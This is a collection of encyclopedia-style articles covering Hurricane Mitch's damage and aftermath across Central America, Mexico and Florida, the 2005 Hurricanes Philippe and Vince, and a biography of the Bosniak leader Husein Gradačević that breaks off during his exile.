          In Jamaica, where officials declared hurricane warnings 12 hours prior to its closest approach, Mitch caused moderate rainfall and gusty winds for days. Strong waves hit western Jamaica, with wave heights unofficially estimated at nearly 7 feet (2m) in height. The rainfall in outer rainbands, at times severe, flooded many roads across the island and left them covered with debris. One house in Spanish Town collapsed from the flooding, leaving four homeless. Many other homes and buildings were flooded, forcing many to evacuate. A river in northeastern Jamaica overflowed its banks, while heavy rainfall across the mountainous parts of the country caused numerous mudslides. In all, Mitch killed three people on Jamaica.


          On the Cayman Islands, the hurricane caused strong waves, gusty winds, and heavy rainfall at times. Damage was relatively minimal, amounting to blown out windows and beach erosion. Strong waves damaged or destroyed many docks on the south shore of the islands, and also sank one dive ship near Grand Cayman. In addition, numerous incoming and outgoing flights were cancelled.


          


          Rest of Latin and Central America


          
            
              Deadliest Atlantic hurricanes
            

            
              	Rank

              	Hurricane

              	Season

              	Fatalities
            


            
              	1

              	"Great Hurricane"

              	1780

              	22,000
            


            
              	2

              	Mitch

              	1998

              	11,000  18,000
            


            
              	3

              	"Galveston"

              	1900

              	8,000  12,000
            


            
              	4

              	Fifi

              	1974

              	8,000  10,000
            


            
              	5

              	"Dominican Republic"

              	1930

              	2,000  8,000
            


            
              	6

              	Flora

              	1963

              	7,186  8,000
            


            
              	7

              	"Pointe--Pitre"

              	1776

              	6,000+
            


            
              	8

              	"Newfoundland"

              	1775

              	4,000  4,163
            


            
              	9

              	"Okeechobee"

              	1928

              	4,075+
            


            
              	10

              	"San Ciriaco"

              	1899

              	3,433+
            


            
              	See also: List of deadliest Atlantic hurricanes
            

          


          Due to Mitch's large circulation, it dropped heavy precipitation as far south as Panama, especially in the Darin and Chiriqu provinces. The flooding washed away a few roads and bridges, and damaged numerous houses and schools, leaving thousands homeless. The hurricane left three casualties in Panama.


          In Costa Rica, Mitch dropped heavy rains, causing flash flooding and mudslides across the country, mostly in the northeastern part of the country. The storm impacted 2,135 homes to some degree, of which 242 were destroyed, leaving 4,000 homeless. Throughout the country, the rainfall and mudslides affected 126 bridges and 800 miles (1300 km) or roads, mostly on the Inter-American Highway which was affected by Hurricane Cesar, two years prior. Mitch affected 115 sq. miles (300 km) of crop lands, causing damage to both export and domestic crops. In all, Hurricane Mitch caused $92 million in damage (1998 USD, $108 million 2006 USD) and seven deaths.


          While drifting through El Salvador, the hurricane dropped immense amounts of precipitation, resulting in flash flooding and mudslides through the country. Multiple rivers, including the Ro Grande de San Miguel and the Lempa River overflowed, contributing to overall damage. The flooding damaged more than 10,000 houses, leaving around 59,000 homeless and forcing 500,000 to evacuate. Crop damage was severe, with serious flooding occurring on 386 sq. miles (1000km) of pasture or crop land. The flooding destroyed 37% of the bean production, 19% of the corn production, and 20% losses in sugar canes. There were heavy losses in livestock as well, including the deaths of 10,000 cattle. Total agricultural and livestock damaged amounted to $154 million (1998 USD, $180 million 2006 USD). In addition, the flooding destroyed two bridges and damaged 1,200 miles (2000km) of unpaved roads. In all, Mitch caused nearly $400 million in damage (1998 USD, $468 million 2006 USD) and 240 deaths.


          Similar to the rest of Central America, Mitch's heavy rains caused mudslides and severe flooding over Guatemala. The flooding destroyed 6,000 houses and damaged 20,000 others, displacing over 730,000 and forcing over 100,000 to evacuate. In addition, the flooding destroyed 27 schools and damaged 286 others, 175 severely. Flooding caused major damage to crops, while landslides destroyed crop land across the country. The most severely affected crops for domestic consumption were tomatoes, bananas, corn, other vegetables, and beans, with damaged totaling to $48 million (1998 USD, $56 million 2006 USD). Export crops such as bananas or coffee were greatly damaged as well, with damage amounting to $325 million (1998 USD, $380 million 2006 USD). Damage to plantations and soil totaled to $121 million (1998 USD, $142 million 2006 USD). The flooding also caused severe damage to the transportation infrastructure, including the loss of 37 bridges. Across the country, flooding damaged or destroyed 840 miles (1350km) of roads, of which nearly 400 miles (640km) were sections of major highways. In all, Hurricane Mitch caused $748 million (1998 USD, $876 million 2005 USD) and 268 deaths in Guatemala. In addition, Mitch caused 11 indirect deaths when a plane crashed during the storm.


          In Belize, the hurricane was less severe than initially predicted, though Mitch still caused heavy rainfall across the country. Numerous rivers exceeded their crests, though the rainfall was beneficial to trees in mountainous areas. The flooding caused extensive crop damage and destroyed many roads. Throughout the country, eleven people died because of the hurricane.
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          In Mexico, Mitch produced gusty winds and heavy rains on the Yucatn Peninsula, with Cancn on the Quintana Roo coast being the worst hit. Nine people were killed from the flooding, though damage was relatively minimal. The maximum 24 hour rainfall total from Mitch was 13.4inches (340mm) in Campeche, while the highest rainfall total was 16.85inches (428mm) in Ciudad del Carmen.


          


          Florida


          Then a tropical storm, Mitch caused a storm surge of up to four feet in the lower Florida Keys before making landfall on the Florida west coast. Key West International Airport reported peak wind gusts of 55 mph (89km/h) and sustained winds of 40 mph (64km/h), the only report of tropical storm force in the state. In addition, Mitch caused moderate rainfall, peaking at seven inches (18cm) in Jupiter, though some estimates indicate localized totals of up to 10 inches (25cm). The storm spawned five tornadoes over the state, of which the strongest was an F2.


          In the Florida Keys, multiple buildings that had been damaged by Hurricane Georges were leveled by Mitch. Tornadoes from the storm damaged or destroyed 645 houses across the state, as well as injuring 65 people. Gusty winds left 100,000 without power during the storm's passage. In all, Mitch caused $40 million in damage (1998 USD, $47 million 2006 USD) in Florida and two deaths from drowning when two boats capsized.


          


          Aftermath
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          Because of the hurricane's destruction in Central America and elsewhere in North America, the World Meteorological Organization retired the name Mitch in the spring of 1999; it will never again be used for an Atlantic hurricane. The name was replaced with Matthew in the 2004 season.


          After the disaster caused by Hurricane Mitch, countries around the world donated significant aid, totaling $6.3 billion (1998 USD, $7.4 billion 2006 USD). Throughout Central America, which was recovering from an economic crisis that occurred in 1996, many wished to continue the growth of the infrastructure and economy. In addition, after witnessing the vulnerability to hurricanes, the affected governments endeavored to prevent such a disaster from occurring again.


          Hundreds of thousands of people lost their homes, but many took this as an opportunity to rebuild stronger houses. With a new, structurally improved foundation, homes were redesigned to be able to withstand another hurricane. However, lack of arable crop land took away the jobs from many, decreasing an already low income even lower.


          Following the passage of Mitch, disease outbreaks occurred throughout Central America, including cholera, leptospirosis, and dengue fever. Over 2,328 cases of cholera were reported, killing 34 people. Guatemala was most affected by the virus, where most of the deaths occurred from contaminated food. 450 cases of leptospirosis were reported in Nicaragua, killing seven people. There were over 1,357 cases of dengue reported, though no deaths were reported from the disease.
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          While stalling over the western Caribbean Sea, Mitch's strong winds produced strong waves, damaging local coral reefs. Later, the storm's immense rainfall led to runoff polluted with debris and fresh water. This resulted in diseases occurring within the coral. However, the hurricane's upwelling cooled the warm water temperatures, preventing significant bleaching and destruction of the coral reef.


          Honduras, the country most affected by the hurricane, received significant aid for the millions impacted by the hurricane. Mexico quickly gave help, sending 700 tons of food, 11 tons of medicine, four rescue planes, rescue personnel, and trained search dogs. Cuba also volunteered, sending a contingent of physicians to the country. The U.S. administration offered at first troops stationed in Honduras, and then withdrew them a few days after the storm. They also at first offered only $2 million (1998 USD, $2.3 million 2006 USD) in aid, which came as a shock to residents, and president Carlos Roberto Flores alike. The U.S. later increased their offer to $70 million (1998 USD, $82 million 2006 USD). The Honduran government distributed food, water, and medical services to the hurricane victims, including the more than 4 million without water. President Flores turned the administration of the relief efforts to the church, both Protestant and Catholic. The relief effort was carried out with virtually no incidents; only one truck was discovered to be re-routed for personal use, and the person responsible for this was subsequently punished. In addition, the country initially experienced a sharp increase in the unemployment rate, largely due to the destruction of crop lands. However, rebuilding provided jobs in the following years. In Costa Rica, reconstruction after the hurricane increased the number of jobs by 5.9%, lowering the unemployment rate slightly.
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              Hurricane Philippe
            

            
              	Category 1hurricane( SSHS)
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              	Formed

              	September 17, 2005
            


            
              	Dissipated

              	September 23, 2005
            


            
              	Highest

              winds

              	
                
                  
                    	80 mph (130 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	985 mbar ( hPa; 29.1 inHg)
            


            
              	Fatalities

              	None reported
            


            
              	Damage

              	None
            


            
              	Areas

              affected

              	No land areas
            


            
              	Part of the

              2005 Atlantic hurricane season
            

          


          Hurricane Phillippe was a short-lived hurricane that formed over the Atlantic in September during the 2005 Atlantic hurricane season. Philippe was the sixteenth named storm and ninth hurricane of the season.


          Hurricane Philippe initially formed to the east of the Lesser Antilles on September 17 and moved to the north strengthening as it did so. Philippe became a hurricane on September 18 and stayed as such for two days before increasing wind shear from a non-tropical system took its toll on September 20 and weakened Philippe into a tropical storm. Philippe continued to weaken as it looped around this low and was absorbed by it on September 23.


          


          Storm history
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          On September 9 a tropical wave moved off the African coast and moved west into the Atlantic. It started to become more organized on September 13 and the National Hurricane Centre began to watch it closely for further development. Tropical Depression Seventeen formed from the wave on September 17 when it was 350 miles (560 km) east of Barbados. The depression strengthened further to become Tropical Storm Philippe that evening, and the official forecasts correctly indicated that Philippe would move northwards and not approach the Lesser Antilles despite climatology suggesting an impact on the islands.


          Philippe continued to steadily strengthen, becoming a hurricane late on September 18 as it traveled north in a low-shear environment and some models suggested that this trend would continue and Philippe would go on to become a major hurricane. However Philippe began to encounter higher wind shear from a non-tropical low, the development of which partly resulted from Hurricane Rita's outflow. As a result of this shear Philippe's winds only managed to reach a peak of 80 mph (130 km/h) before Philippe weakened back into a tropical storm on September 20.


          Philippe moved farther north skirting the low and Philippe continued to weaken gradually. The official forecast did not predict this, primarily as a result of some models indicating a reintensification to hurricane status. Philippe began to loop around the centre of the non-tropical system, weakening as it did so. As Philippe turned towards Bermuda it weakened into a tropical depression on September 22. The depression degenerated into a remnant low the next day and this remnant continued to loop cyclonically and could be tracked for a further day or two within the circulation of the non-tropical system.


          


          Preparations, impact, and naming


          Despite forming fairly close to the Lesser Antilles, no tropical cyclone warnings were issued for the islands, as the official forecast correctly foresaw that Philippe would stay well to the east. A tropical storm warning was issued for Bermuda on September 23, but proved redundant when Philippe dissipated well to the south of the island. The storm still brought gusty winds and moisture to the island, with 0.15inches (3.8mm) of precipitation reported on September 23. The circulation that absorbed Philippe dropped light rainfall on the island, and was responsible for the lowest barometric pressure during the month.


          When Tropical Storm Philippe formed on September 17, it was the earliest ever in the season that the sixteenth storm formed, beating the previous record held by Storm 16 of the 1933 season by 10 days. Philippe was only the third Atlantic storm to be named with the letter ' P'; the other two were Pablo in 1995 and Peter in 2003. Due to the lack of major effects from Hurricane Philippe, the name was not retired by the World Meteorological Organization and will be on the list of names for the 2011 season.
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              Hurricane Vince
            

            
              	Category 1hurricane( SSHS)
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              	Formed

              	October 8, 2005
            


            
              	Dissipated

              	October 11, 2005
            


            
              	Highest

              winds

              	
                
                  
                    	75 mph (120 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	988 mbar ( hPa; 29.19 inHg)
            


            
              	Fatalities

              	None reported
            


            
              	Damage

              	Unknown
            


            
              	Areas

              affected

              	Madeira Islands, southern Portugal, southwestern Spain
            


            
              	Part of the

              2005 Atlantic hurricane season
            

          


          Hurricane Vince was one of the most unusual hurricanes ever to develop in the Atlantic basin, forming in October during the 2005 Atlantic hurricane season. Vince was the 20th named tropical cyclone and twelfth hurricane of the extremely active season.


          Vince developed from a non-tropical system on October 8, becoming a subtropical storm southeast of the Azores. The National Hurricane Centre did not officially name the storm until the next day, shortly before Vince briefly became a hurricane. Vince then made an unprecedented landfall on the Iberian Peninsula on October 11 as a tropical depression, dissipating over Spain.


          


          Storm history
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          On October 5, an operationally unnamed subtropical storm that had gone unnoticed was absorbed by a non-tropical frontal low, which was moving to the southeast over the Azores. It began to gain a more concentrated circulation and lose its frontal structure after absorbing the Subtropical Storm. The increasingly organized system became a subtropical storm itself early on October 8, 580 miles (930 km) southeast of the Azores. However, the National Hurricane Centre decided not to name the system Vince at the time, because the water temperature was too low for a tropical cyclone to normally develop. Vince gradually gained more tropical characteristics and became a tropical storm the next day, over water cooler than 24 C (75 F), which defies general thought that sea surface temperatures of at least 26.5C (80F) are required for a tropical storm to form and intensify.
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          Soon after it had become a tropical storm on October 9, the NHC officially named Tropical Storm Vince when it was near Madeira and began to issue advisories. There was still some uncertainty as to whether Vince was tropical or subtropical at this time and the forecasters of the NHC conceded that Vince may have already been a subtropical storm before it was named. Vince reached its peak as a hurricane with 75 mph (120 km/h) winds later that day, the National Hurricane Centre deciding that "if it looks like a hurricane  it probably is  despite its environment and unusual location".


          Hurricane Vince immediately began to weaken in response to increasing westerly shear and soon became a tropical storm again. Vince continued to weaken as it approached the Iberian Peninsula and became a tropical depression shortly before it made landfall near Huelva, Spain on October 11. The fast-moving tropical depression soon dissipated over land.


          


          Impact


          No damages or fatalities were reported from Hurricane Vince. The highest winds reported on land were 77km/h (48mph) at Jerez, Spain, though some ships recorded stronger winds. Vince was comparable to normal rain events from non-tropical systems, with only 1 to 2 inches (25 to 50 mm) of rain falling. Through a play on words of a song in My Fair Lady, National Hurricane Centre forecaster James Franklin in the Tropical Cyclone Report for Vince wrote, "the rain in Spain was mainly less than 2 inches, although 3.30 inches (84 mm) fell in the plain at Cordoba."


          


          Records and naming
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          Although Hurricane Vince was a very small and short-lived storm, it is notable for developing in the northeastern Atlantic off the Moroccan coast, well away from where tropical cyclones are usually found. It is the farthest northeast a tropical cyclone had ever developed in the Atlantic (32.9N 20.6W); previously the record was held by Ivan of the 1980 season, at 35.6N and 24.6W. Vince is neither the most northerly-forming nor the most easterly-forming Atlantic tropical storm; these records are held by Alberto of the 1988 season at 41.5N, and Ginger of the 1967 season at 18.1W, respectively.


          Hurricane Vince developed into a hurricane further east than any known storm at 18.9W. Vince is the first tropical cyclone on record to have made landfall on the Iberian Peninsula, after coming ashore near Huelva, Spain.


          When Subtropical Storm Vince formed on October 8, it was the earliest ever in the season that the twenty-first tropical or subtropical storm had developed, 38 days ahead of the previous record held by Tropical Storm 21 of the 1933 season. Hurricane Vince was also the first named "V" storm in the Atlantic since naming began in 1950. Due to the lack of any significant effects from Hurricane Vince, the name was not retired by the World Meteorological Organization and will be on the list of names for the 2011 season.
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        Husein Gradačević


        
          

          Husein-kapetan Gradačević ( August 31, 1802  August 17, 1834) was a Bosniak general who fought for Bosnian autonomy in the Ottoman Empire. He is often referred to as "Zmaj od Bosne", meaning "Dragon of Bosnia". Gradačević was born in Gradačac in 1802 --hence his nickname Gradačević, meaning "son of Gradačac"-- and grew up surrounded by a political climate of turmoil in the western reaches of the Ottoman Empire. When his brother Murat was poisoned by a rival in 1821, Gradačević rose to the head of the Gradačac military captaincy. The young Husein developed a reputation for wise rule and tolerance and soon became one of the most popular figures in Bosnia.


          In 1831 Gradačević was called upon to lead the movement for a Bosnian autonomy. He overthrew the loyalist, vizier, and other anti-rebellion figures, becoming the de facto ruler of the Ottoman Bosnia Province ( eyalet) in the process. On July 18 of the same year, Gradačević met a large force commanded by the grand vizier himself near timlje (Shtimje) in Kosovo and dealt a heavy defeat to the imperial army (this is sometimes referred to as the "Third battle of Kosovo"). At that point, he decided to turn back from further campaigns and returned to Bosnia where he was proclaimed the new vizier by his soldiers on September 12. By 1832, however, the tide of the rebellion had turned. After a series of smaller clashes, the decisive battle occurred on the 17th and 18th of May outside Sarajevo. Initially successful, the rebels were eventually defeated when Herzegovinian reinforcements arrived and sided with the Sultan.


          Although the Bosniak uprising would not be completely quelled for another 18 years, Gradačević was forced to flee to the Austrian Empire on May 31. From there he negotiated for his return with the Sultan and was ultimately allowed back but barred from ever entering Bosnia again. He moved to Belgrade and then to Istanbul, where he died under mysterious circumstances on August 17, 1834. A legend in his own time, Gradačević is considered a Bosniak national hero and one of the most revered figures in the history of Bosnia and Herzegovina.


          


          Biography


          


          Background and youth
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          The most widely accepted theory about the origin of the Gradačević family is that they came to Bosnia from Buda. There they were said to be high-ranking Ottoman officials and soldiers, and even upon their arrival they were already known as wealthy aristocrats. They settled in Bosnian Posavina, as evidenced by an imperial decree that gave them land and military responsibilities in the region. The local peasantry knew them as beys and sipahis, and eventually forged a feudal relationship with them. Private family tradition holds that the Gradačevićs were actually descendants of feudal Bosnian nobility, but historical sources suggest otherwise.


          The first known captain of the Gradačević captaincy in Gradačac is Mehmed-kapetan, whose rule lasted until 1169 A.H. (17551756). The name of his successor is unknown, although this next captain was eventually succeeded by Mehmed-kapetan in 1765. (It was a common tradition among Bosniaks for children to be named after their paternal grandfathers). Mehmed-kapetan was in turn succeeded by Osman-kapetan, who was known to be one of the most powerful Bosnian captains of the period. Osman-kapetan had six male heirs. In order of birth, they were Hamza, Murat, Osman, Muharem, Husein, and H. Bećir. As Hamza died in 1212 A.H. (17971798) it was Murat-beg who succeeded him to the captaincy.
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          Husein was born to Osman and his wife Melek-hanuma in 1802 in the Gradačević family house in Gradačac. Outside of family tradition and folklore invented much later, little is known of his childhood. It is said that he spent much time around the family fort while it was undergoing renovations. He grew up during turbulent times and taking into account his father's military experience and brother Osman's services during the 1813 war against Serbia, young Husein surely heard many first hand accounts that shaped his personality.


          Osman senior died in 1812 when Husein was merely ten years old. Certain scholars have argued that his mother was also dead by then, although some family traditions claim otherwise. By all accounts, his mother had a strong influence on Husein's upbringing. Upon his father's death, Husein deferred to his eldest brother Murat because of his age and status as successor to the Gradačac captaincy.


          As his status implied, Husein was well educated, learning to read and write at an early age. At sixteen he was taught Arabic calligraphy by Murat's personal scribe Mullah Mustevica, who praised his brightness and called him a "gifted child". In addition to this, Husein was taught by two dervishes. It is not known for certain whether Husein belonged to a dervish order but, based on his great piety and the modest lifestyle that he would demonstrate in the future, it is often assumed that he did.


          Husein married Hanifa, sister of Mahmud-kapetan of Derventa, at an early age. Although the exact date is unknown, his son Muhamed-beg was probably born no later than 1822 when Husein himself was twenty years old. The pair would also have a daughter, efika, born in 1833. Neither Muhamed nor efika were known to have had children themselves.


          In the year 1820 Murat was invited to Travnik by his rival Dželaludin- pasha amidst political turmoil in Bosnia. Upon his arrival, he was poisoned by Dželaludin and died. As Osman and Muharem had already died by then, Husein thus ascended to the head of the Gradačac captaincy at the age of eighteen.


          


          Gradačac captaincy
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          When Husein took over the Gradačac captaincy, he focused most of his attention on administration of internal affairs. It is notable that all of Husein's construction projects were related to the city of Gradačac and its immediate area. During his rule, Gradačac further expanded its status as one of the most prosperous captaincies in Bosnia.


          The first and most notable construction was that of the Gradačević family castle. The fort had existed for decades and was subject to extensive renovations since the time of Mehmed-kapetan in 1765. Husein's father Osman and brother Murat had done some work as well, in 1808 and 1818 to 1819 respectively. However, the exact nature of Husein's contribution to the complex is unknown. The castle's tower has long been associated with Husein but architectural evidence points to the tower existing alongside the rest of the complex from earlier times. It seems likely that Husein was merely responsible for a significant renovation of the tower that lingered in the people's memory.


          Husein was certainly responsible for a completely new castle built during his rule. By all accounts, this was a large project, which included the construction of an artificial island surrounded by a moat up to 100 meters wide and of a great depth. The castle was named Čardak and the surrounding village quickly derived its name from it. The walls were of an oval shape, the entire structure being seventeen meters long and eight meters wide. The complex and area also included a mosque, wells, a fishery, and hunting grounds.


          Within the Gradačac city walls Husein's most significant contribution to the city was the clock tower ( Bosnian: sahat-kula) which was built in 1824. The object's base is 5.5 by 5.5 meters, while the height is 21.50 meters. It was the last object of this type to be built in Bosnia.


          Some 40 to 50 meters outside the city walls lies Husein's greatest architectural contribution to Gradačac: the Husejnija mosque. Built in 1826, it features an octagonal dome roof and a particularly high minaret of twenty-five meters. Three smaller octagonal domes are found above the verandah. Islamic decorations and artistry are seen on the door and surrounding wall as well as the interior. The entire complex is surrounded by a small stone wall and gate.


          Husein's rule in Gradačac was also notable because of his tolerance towards the Christian populace under his jurisdiction; both Catholic and Orthodox. Though social norms of the time dictated that the Ottoman sultan's official approval was necessary for the construction of any non-Islamic religious buildings, Husein approved the construction of several such buildings without it. A Catholic school was built in the village of Tolisa in 1823, followed by a large church that could hold 1,500 people. Another two Catholic churches were built in the villages of Dubrave and Garevac, while an Orthodox church was built in the hamlet of Obudovac. During Husein's captaincy, the Christians in Gradačac were known to be the most satisfied in Bosnia.


          The year 1827 marked Husein's entrance into the greater Bosnian political scene. This was largely due to the impending Russo-Turkish War and his role in preparing the defense of the boundaries of the Province of Bosnia. Upon receiving orders from the Bosnian vizier Abdurahim- paa, Husein mobilized the Gradačac populace and strengthened his defenses. During talks held in Sarajevo between the vizier and the country's captains, it is said that Husein stayed the longest to discuss strategy. He was appointed commander of an army that he was to mobilize from the lands between the Drina to the Vrbas. By all accounts, he did a satisfactory job. However, in mid-June 1828, Husein had to rush to Sarajevo with a small accompanying force to get the vizier to safety following a revolt among the troops.


          By 1830, Husein had risen to new political heights as he was able to speak on behalf of all (or at least most of) the captains of Bosnia. At that time, he was coordinating the defense of Bosnia against a possible invasion by Serbia, as well as taking it upon himself to address Austrian authorities and warn them against any incursion across the Sava. The authority he wielded in the later years of his captaincy in Gradačac explains the great role he was to have in the years to follow.


          


          Movement for Bosnian autonomy


          


          The road to rebellion
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          In the late 1820s, Sultan Mahmud II reintroduced an set of reforms that called for further expansion of the centrally controlled army (nizam), new taxes and more Ottoman bureaucracy. These reforms weakened the special status and privileges Bosnia had historically enjoyed under the Ottoman Empire and coupled with the growing power and position of other European people under Ottoman control caused much anger and alarm. Contrary to popular belief, however, Gradačević was not greatly opposed to these reforms.


          In 1826, when the Sultan issued a decree abolishing the janissaries in Bosnia, Gradačević's immediate reaction was not unlike that of the rest of the Bosnian aristocracy. Gradačević threatened that he would use military force to subdue anybody opposed to the Sarajevo janissaries. When the janissaries killed nakibul-eraf Nurudin effendi erifović, however, his tone shifted and he rapidly distanced himself from their cause.


          For the rest of the 1820s, Gradačević generally maintained good relations with imperial authorities in Bosnia. When Abdurahim-paa became vizier in 1827, Gradačević was said to have become one of his more trusted advisors. This culminated in Gradačević's large role in the Bosnian mobilization for the Russo-Ottoman war. Following a riot in the Sarajevo camp during these preparations, Gradačević even provided shelter for the ousted Abdurahim-paa in Gradačac before assisting him in his escape from the country. Gradačević was also relatively loyal to Abdurahim's successor, Namik-paa, reinforcing Ottoman garrisons in abac upon his orders.


          The turning point for Gradačević came with the end of the Russo-Ottoman War and the Treaty of Adrianople on September 14, 1829. According to the provisions of the treaty, the Ottoman Empire had to grant autonomy to Serbia. In a move that outraged Bosniaks and launched numerous protests, newly autonomous Serbia was also given six districts (Bosnian: nahijas) that had traditionally belonged to Bosnia. Following this confiscation of historically Bosnian lands the Bosnian autonomy movement was born.


          Between the December 20 and December 31, 1830, Gradačević hosted a gathering of Bosniak aristocrats in Gradačac. A month later, from January 20 to February 5, another meeting was held in Tuzla to prepare for the revolt. From there, a call was issued to the Bosnian populace asking them to rise up to the defense of Bosnia. It was then that the popular Husein-kapetan was unofficially chosen to head the movement. Further details of this meeting are murky and disputable. According to certain contemporary sources, the Bosniaks demanded that Istanbul:


          
            	Repeal the privileges granted to Serbia and, in particular, return the six old Bosnian districts.


            	Cease the implementation of the nizam military reforms.


            	End the governorship of Bosnia and accept the implementation of an autonomous Bosnian government headed by a local leader. In return, Bosnia would pay a yearly tribute.

          


          


          The fight for autonomy


          Another outcome of the Tuzla meeting was an agreement that another general meeting should be held in Travnik. Since Travnik was the seat of the Ottoman Province of Bosnia and of the vizier, the planned meeting was in effect a direct confrontation with Ottoman authority. Gradačević thus asked all involved to help assemble an army beforehand. On March 29, 1831, Gradačević set out towards Travnik with some 4,000 men.
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          Upon hearing word of the oncoming force, Namik-paa is said to have gone to the Travnik fort and called the Sulejmanpaić brothers to his aid. When the rebel army arrived in Travnik they fired several warning shots at the castle, warning the vizier that they were prepared for a military encounter. Meanwhile, Gradačević sent a detachment of his forces, under the command of Memi- aga of Srebrenica, to meet Sulejmanpaić's reinforcements. The two sides met at Pirot, on the outskirts of Travnik, on April 7. There, Memi-aga defeated the Sulejmanpaić brothers and their 2,000-man army, forcing them to retreat and destroying the possessions of the Sulejmanpaić family. On May 21, Namik-paa fled to Stolac following a short siege. Soon afterwards, Gradačević proclaimed himself the Commander of Bosnia, chosen by the will of the people.


          Wasting no time, Gradačević made a call on May 31 demanding that all aristocrats immediately join his army, along with all from the general populace who wished to do so. Thousands rushed to join him, among them being numerous Christians, who were said to comprise up to a third of his total forces. Gradačević split his army in two, leaving one part of it in Zvornik to defend against a possible Serbian incursion. With the bulk of the troops he set out towards Kosovo to meet the grand vizier, who had been sent with a large army to quell the rebellion. Along the way, he took the city of Peć with a 52,000 strong Army and proceeded to Pritina, where he set up his main camp.


          The encounter with Grand Vizier Mehmed Rashid-paa happened on July 18 near timlje. Although both armies were of roughly equal size, the Grand Vizier's troops had superior arms. Gradačević sent a part of his army under the command of Ali-beg Fidahić ahead to meet Rashid-paa 's forces. Following a small skirmish, Fihadić feigned a retreat. Thinking that victory was within reach, the Grand Vizier sent his cavalry and artillery into forested terrain. Gradačević immediately took advantage of this tactical error and executed a punishing counterattack with the bulk of his forces, almost completely annihilating the Ottoman forces. Rashid-paa himself was injured and barely escaped with his life.
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          Following claims from the Grand Vizier that the Sultan would meet all Bosniak demands if the rebel army would return to Bosnia, Gradačević and his army turned back home. On August 10 a meeting of all major figures in the movement for autonomy was held in Pritina. At this meeting it was decided that Gradačević should be declared vizier of Bosnia. Although Gradačević refused at first, those around him insisted and he eventually accepted the honour. His new status was made official during an all-Bosnian congress held in Sarajevo on September 12. In front of the Tsar's Mosque, those present swore on the Koran to be loyal to Gradačević and declared that, despite potential failure and death, there would be no turning back.


          At this point, Gradačević was not only the supreme military commander, but Bosnia's leading civilian authority as well. He established a court around him, and after initially making himself at home in Sarajevo, he moved the centre of Bosnian politics to Travnik, making it the de facto capital of the rebel state. In Travnik, he established a divan, a Bosnian congress, which together with him made up the Bosnian government. Gradačević also collected taxes at this time, and executed various local opponents of the autonomy movement. He gained a reputation as a hero and a strong, brave, and decisive ruler. One anecdote that illustrates this is Husein-kapetan's alleged response to whether he was scared of waging war against the Ottoman Empire. God I fear slightly, Gradačević replied, the Sultan not at all, and the Grand Vizier no more than my own horse.
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          During this lull in armed conflict with the Ottomans, attention was turned to the autonomy movement's strong opposition in Herzegovina. A small campaign was launched against the region from three different directions:


          
            	1. An army from Sarajevo was ordered to attack Stolac for a final encounter with Namik-paa, who had fled there following Gradačević's capture of Travnik.


            	2. An army from Krajina was to assist the Sarajevan forces in this endeavor.


            	3. Armies from Posavina and south Podrinje were to attack Gacko and local captain Smail-aga Čengić.

          


          As it happened, Namik-paa had already abandoned Stolac, so this attack was put on hold. The attack on Gacko was a failure as the forces from Posavina and south Podrinje were defeated by Čengić's troops. There was one success, however; in October, an army Gradačević had deployed under the command of Ahmed-beg Resulbegović had taken over Trebinje from Resulbegović's loyalist cousins and other supporters of the Stolac opposition.


          A Bosnian delegation reached the Grand Vizier's camp in Skopje in November of that year. The Grand Vizier promised this delegation that he would insist to the Sultan that he accept the Bosniak demands and appoint Gradačević as the official vizier of an autonomous Bosnia. His true intentions, however, were manifested by early December when he attacked Bosnian units stationed on the outskirts of Novi Pazar. Yet again, the rebel army handed a defeat to the imperial forces. Due to a particularly strong winter though, the Bosnian troops were forced to return home.


          Meanwhile in Bosnia, Gradačević decided to carry on his campaign in Herzegovina despite the unfavorable climate. The captain of Livno, Ibrahim-beg Fidrus, was ordered to launch a final attack against the local captains and to thus end all domestic opposition to the autonomy movement. To achieve this, Fidrus first attacked Ljubuki and the local captain Sulejman-beg. In a significant victory, Fidrus defeated Sulejman-beg and secured the whole of Herzegovina except Stolac in the process. Unfortunately, the segment of the army that laid siege to Stolac itself met with failure in early March of the next year. Receiving information that the Bosnian ranks were depleted due to the winter, the captain of Stolac Ali-paa Rizvanbegović broke the siege, counterattacking the rebels and dispersing their forces. A force had already been sent towards Stolac from Sarajevo, under the command of Mujaga Zlatar, but was ordered back by Gradačević on March 16 after he received news of a major offensive on Bosnia being planned by the Grand Vizier.
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          The Ottoman campaign began in early February. The Grand Vizier sent two armies: one from Vučitrn and one from Shkodr. Both armies headed toward Sarajevo, and Gradačević sent an army of around 10,000 men to meet them. When the Vizier's troops succeeded in crossing the Drina, Gradačević ordered 6,000 men under Ali-paa Fidahić to meet them in Rogatica while units stationed in Viegrad were to head to Pale on the outskirts of Sarajevo. The encounter between the two sides finally happened on the Glasinac plains to the east of Sarajevo, near Sokolac, at the end of May. The Bosnian army was led by Gradačević himself, while the Ottoman troops were under the command of Kara Mahmud Hamdi-paa, the new imperially recognized vizier of Bosnia. In this first encounter, Gradačević was forced to retreat to Pale. The fighting continued in Pale and Gradačević was once again forced to retreat; this time to Sarajevo. There, a council of captains decided that the fight would continue.


          The final battle was played out on June 4 at Stup, a small locality on the road between Sarajevo and Ilidža. After a long, intense battle, it seemed Gradačević had once again defeated the Sultan's army. Near the very end, however, Herzegovinian troops under the command of Ali-paa Rizvanbegović and Smail-aga Čengić broke through defenses Gradačević had set up on his flank and joined the fighting. Overwhelmed by the unexpected attack from behind, the rebel army was forced to retreat into the city of Sarajevo itself. It was decided that further military resistance would be futile. Gradačević fled to Gradačac as the imperial army entered the city on June 5 and prepared to march on Travnik. Upon realizing the difficulties that his home and family would experience if he stayed there, Gradačević decided to leave Gradačac and continue on to Austrian lands instead.


          


          Exile and death
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          If the choice to flee Bosnia was not already clear, the Sultan's furious fatwa declaring Gradačević "no good", an "evil-doer", a "traitor", a "gangster" and a "rebel" may have convinced Gradačević to leave. Due to various customs and procedures, however, Gradačević's departure from Bosnia was held up for several days. After pleading with Austrian officials to ease their restrictions, Gradačević finally reached the Sava River boundary with a large party of followers on June 16. He crossed the river into Habsburg lands the same day, along with some 100 followers, servants, and family. Though he expected to be treated as a Bosnian vizier, he instead found himself held in quarantine in Slavonski Brod for nearly a month, with his weapons and many of his possessions taken away.


